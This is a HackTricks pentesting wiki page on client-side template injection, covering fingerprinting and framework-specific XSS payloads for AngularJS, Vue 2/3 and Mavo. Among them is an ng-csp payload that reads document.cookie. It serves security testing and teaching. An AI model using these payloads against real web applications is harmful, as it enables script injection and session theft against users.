client-side-template-injection-csti.md (10103B)
1 --- 2 title: "Client Side Template Injection (CSTI)" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/client-side-template-injection-csti.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/client-side-template-injection-csti.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Client Side Template Injection (CSTI) 14 15 ## Summary 16 17 It is like a [**Server Side Template Injection**](ssti-server-side-template-injection/index.html) but in the **client**. The **SSTI** can allow you to **execute code** on the remote server, the **CSTI** could allow you to **execute arbitrary JavaScript** code in the victim's browser. 18 19 **Testing** for this vulnerability is very **similar** as in the case of **SSTI**, the interpreter expects **a template** and will execute it. For example, with a payload like `{{ 7-7 }}`, if the app is **vulnerable** you will see a `0`, and if not, you will see the original: `{{ 7-7 }}` 20 21 Not every HTML injection into a frontend framework is automatically exploitable as CSTI. The important question is whether the framework will **compile/evaluate attacker-controlled template syntax** or whether you only reached a plain HTML sink. In practice, first confirm the framework, then confirm the **exact sink**. 22 23 ## Discovery / Fingerprinting 24 25 Before trying framework-specific payloads, confirm that your reflection lands inside a part of the DOM that is actually processed by the framework: 26 27 - **AngularJS**: look for `ng-app`, `ng-controller`, `ng-bind`, `ng-bind-html`, or a global `window.angular` 28 - **Vue**: look for `v-` directives, Vue-controlled DOM roots, or Vue globals/devtools markers 29 - **Alpine.js**: look for `x-data`, `x-html`, `x-on`, etc. Even if the target is not directly exploitable via `{{...}}`, these markers tell you that client-side expression evaluation exists nearby 30 31 Quick workflow: 32 33 1. Confirm reflection with a unique marker 34 2. Probe with a simple expression such as `{{7*7}}` 35 3. If the expression is evaluated, switch to framework-specific RCE/XSS payloads 36 4. If `{{...}}` is not evaluated, look for **directive/event sinks** (`ng-focus`, `v-html`, inline bindings, alternate delimiters, or dynamic template compilation) 37 38 OWASP's current WSTG recommends identifying the framework first and then checking whether your reflection is re-parsed as a template rather than only inserted as inert text/HTML.<sup>[[1]](#references)</sup> 39 40 ## AngularJS 41 42 AngularJS is a widely-used JavaScript framework that interacts with HTML through attributes known as directives, a notable one being **`ng-app`**. This directive allows AngularJS to process the HTML content, enabling the execution of JavaScript expressions inside double curly braces. 43 44 In scenarios where user input is dynamically inserted into the HTML body tagged with `ng-app`, it's possible to execute arbitrary JavaScript code. This can be achieved by leveraging the syntax of AngularJS within the input. Below are examples demonstrating how JavaScript code can be executed: 45 46 ```javascript 47 {{$on.constructor('alert(1)')()}} 48 {{constructor.constructor('alert(1)')()}} 49 <input ng-focus=$event.view.alert('XSS')> 50 51 <!-- Google Research - AngularJS --> 52 <div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div> 53 ``` 54 55 You can find a very **basic online example** of the vulnerability in **AngularJS** in [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) and in [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression) 56 57 > [!CAUTION] 58 > [**Angular 1.6 removed the sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) so from this version a payload like `{{constructor.constructor('alert(1)')()}}` or `<input ng-focus=$event.view.alert('XSS')>` should work. 59 60 ### Version-aware exploitation 61 62 - **AngularJS < 1.6**: exploitation often requires a **sandbox escape**. Simple arithmetic probes such as `{{1+1}}` still help to confirm CSTI, but code-exec payloads are usually more version-specific. 63 - **AngularJS >= 1.6**: the expression sandbox was removed, so direct `constructor.constructor(...)` style payloads become far more reliable when the reflection is compiled as an Angular expression. 64 - **`ng-csp` / CSP mode**: AngularJS still exposes useful event objects and filters. PortSwigger's CSTI labs and research show that `orderBy` plus an event path can still turn a constrained expression into code execution: 65 66 ```html 67 <input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x 68 ``` 69 70 If the application reflects your input into an **existing AngularJS directive** instead of plain HTML text, prioritize directive-based payloads such as `ng-focus`, `ng-click`, and filter abuse over raw mustache payloads. 71 72 ## VueJS 73 74 You can find a **vulnerable Vue** implementation in [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\ 75 Working payload: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>) 76 77 And the **source code** of the vulnerable example here: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example) 78 79 ```html 80 <!-- Google Research - Vue.js--> 81 "><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div> 82 ``` 83 84 A really good post on CSTI in VUE can be found in [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)<sup>[[2]](#references)</sup> 85 86 In modern Vue targets, distinguish between these two cases: 87 88 - **Attacker-controlled template compilation**: the application uses a build that includes the **template compiler** and feeds user-controlled strings into Vue templates 89 - **Dangerous HTML / gadget sinks**: the reflection lands in places such as `v-html`, dynamic bindings, or other gadgets that eventually reach JavaScript execution 90 91 This distinction matters because the common **runtime-only** Vue builds do **not** compile arbitrary template strings on the client. A plain reflection into inert HTML is not enough by itself. 92 93 ### **V3** 94 95 ```text 96 {{_openBlock.constructor('alert(1)')()}} 97 ``` 98 99 Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)<sup>[[2]](#references)</sup> 100 101 ### **V2** 102 103 ```text 104 {{constructor.constructor('alert(1)')()}} 105 ``` 106 107 Credit: [Mario Heiderich](https://twitter.com/cure53berlin) 108 109 Other useful Vue 3 gadget variants from PortSwigger research: 110 111 ```javascript 112 {{_createBlock.constructor('alert(1)')()}} 113 {{_toDisplayString.constructor('alert(1)')()}} 114 {{_createVNode.constructor('alert(1)')()}} 115 {{_Vue.h.constructor`alert(1)`()}} 116 ``` 117 118 The exact helper name exposed in the rendered template can vary depending on the Vue version / build output, so once you confirm Vue 3 CSTI, enumerate nearby helpers instead of assuming `_openBlock` is always present.<sup>[[2]](#references)</sup> 119 120 **Check more VUE payloads in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected) 121 122 ## Mavo 123 124 Payload: 125 126 ```text 127 [7*7] 128 [(1,alert)(1)] 129 <div mv-expressions="{{ }}">{{top.alert(1)}}</div> 130 [self.alert(1)] 131 javascript:alert(1)%252f%252f..%252fcss-images 132 [Omglol mod 1 mod self.alert (1) andlol] 133 [''=''or self.alert(lol)] 134 <a data-mv-if='1 or self.alert(1)'>test</a> 135 <div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div> 136 <a href=[javascript&':alert(1)']>test</a> 137 [self.alert(1)mod1] 138 ``` 139 140 **More payloads in** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)<sup>[[3]](#references)</sup> 141 142 Mavo is still worth testing when you see `mv-` / `data-mv-` attributes because its expression parser allows **non-JavaScript syntax** that can bypass filters looking only for classic JS tokens. This is useful when `alert(1)`-style probes are filtered but Mavo expressions are still parsed.<sup>[[3]](#references)</sup> 143 144 ## Tooling 145 146 If the target uses AngularJS heavily, [**ACSTIS / angularjs-csti-scanner**](https://github.com/tijme/angularjs-csti-scanner) can help with **crawling**, **version-aware payload selection**, and optional **payload verification** to reduce false positives. 147 148 For manual testing, Burp's current Web Security Academy CSTI labs and XSS cheat sheet remain useful to quickly pivot from a basic `{{1+1}}` confirmation to framework-specific payloads. 149 150 ## **Brute-Force Detection List** 151 152 153 [Ssti.Txt](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/https%3A/github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt) 154 155 156 ## References 157 158 - [1] [OWASP WSTG - Testing for Client-side Template Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/15-Testing_for_Client-Side_Template_Injection) 159 - [2] [PortSwigger Research - Evading defences using VueJS script gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) 160 - [3] [PortSwigger Research - Abusing JavaScript frameworks to bypass XSS mitigations](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations) 161 - [4] [AngularJS 1.6 expression sandbox removal](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html)